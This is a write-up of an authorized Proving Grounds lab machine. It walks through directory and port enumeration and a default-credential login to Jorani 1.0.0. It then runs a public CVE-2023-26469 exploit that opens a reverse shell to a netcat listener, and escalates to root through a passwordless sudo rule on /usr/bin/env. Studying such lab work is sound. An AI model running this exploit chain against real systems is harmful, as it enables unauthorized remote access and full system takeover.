Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
Overview
Approaches for identifying potential vulnerabilities are utilized in this lab. The focus is on exploiting CVE-2023-26469, practicing privilege escalation, and abusing SUDO permissions for unauthorized access. This lab emphasizes understanding and exploiting vulnerabilities to enhance security awareness.
Learning objectives
After completion of this lab, learners will be able to:
- Perform enumeration to identify an Apache web server hosting Jorani v1.0.0 and discover the vulnerable login endpoint.
- Exploit CVE-2023-26469 using a publicly available Proof of Concept to gain a shell as the jordak user.
- Establish a reverse shell for a fully interactive session and retrieve the local user flag.
- Analyze sudo privileges to identify that /usr/bin/env can be run as root without a password.
- Exploit the misconfigured sudo permission to escalate to root using sudo /usr/bin/env /bin/bash and retrieve the final proof flag.
Scenario
This lab involves exploiting CVE-2023-26469 in Jorani v1.0.0 to achieve Remote Code Execution (RCE). Privilege escalation is achieved through a misconfigured sudo permission for /usr/bin/env, leading to root access.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/jordak]
# Discover application paths and files that may expand the attack surface.
└─$ gobuster dir -u http://192.168.150.109/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 307| grep '301'
docs (Status: 301) [Size: 317] [--> http://192.168.150.109/docs/]
assets (Status: 301) [Size: 319] [--> http://192.168.150.109/assets/]
tests (Status: 301) [Size: 318] [--> http://192.168.150.109/tests/]
vendor (Status: 301) [Size: 319] [--> http://192.168.150.109/vendor/]
sql (Status: 301) [Size: 316] [--> http://192.168.150.109/sql/]Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The scan output identifies the target's exposed services and their versions.
Nmap scan report for 192.168.150.109
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
|_ 256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelIn the
/docs/install/ReadMewe can see that the application is running joraniSearching online we found this payload https://www.exploit-db.com/exploits/45338
trying to access
/sessionit redirects us to login pageWe are able to login using the default credentials for jorani
bbalet:bbaletalso found in the readme fileFound the version of jorani to be 1.0, and researching it online, we found that the version is vulnerable for RCE
we found the github https://github.com/samipmainali/Jorani-Reverse-Shell-v1.0.0
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Run the helper or analysis script used in this lab step.
└─$ python3 Jorani_V1.0.0_exploit.py -u http://192.168.150.109/ -i 192.168.45.200 -p 1234
██╗ ██████╗ ██████╗ █████╗ ███╗ ██╗██╗
██║██╔═══██╗██╔══██╗██╔══██╗████╗ ██║██║
██║██║ ██║██████╔╝███████║██╔██╗ ██║██║
██ ██║██║ ██║██╔══██╗██╔══██║██║╚██╗██║██║
╚█████╔╝╚██████╔╝██║ ██║██║ ██║██║ ╚████║██║
╚════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝
[ CVE-2023-26469 - Jorani <=1.0.0 RCE Exploit ]
Credits: @jrjgjk | Modified by: Samip Mainali
[~] Poisoning application logs...
[~] Triggering exploit...
[+] Reverse shell connection established!
[*] Waiting 5 seconds to confirm stability...
[+] Exploit completed successfully!
[+] Check your listener for the shell!Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
─(kali㉿kali)-[~/offsec/jordak]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.150.109] 40300
# Run the helper or analysis script used in this lab step.
python3 -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
# Execute the next evidence-gathering step in the authorized lab.
jordak@jordak:/var/www/html$ id
id
uid=1000(jordak) gid=1000(jordak) groups=1000(jordak),27(sudo)This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Identify commands that can run with elevated privileges.
jordak@jordak:/var/www/html$ sudo -l
# Identify commands that can run with elevated privileges.
sudo -l
Matching Defaults entries for jordak on jordak:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jordak may run the following commands on jordak:
(ALL : ALL) ALL
(ALL) NOPASSWD: /usr/bin/env
# Execute the next evidence-gathering step in the authorized lab.
jordak@jordak:/var/www/html$ sudo env /bin/sh
# Execute the next evidence-gathering step in the authorized lab.
sudo env /bin/sh
## id
id
uid=0(root) gid=0(root) groups=0(root)Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.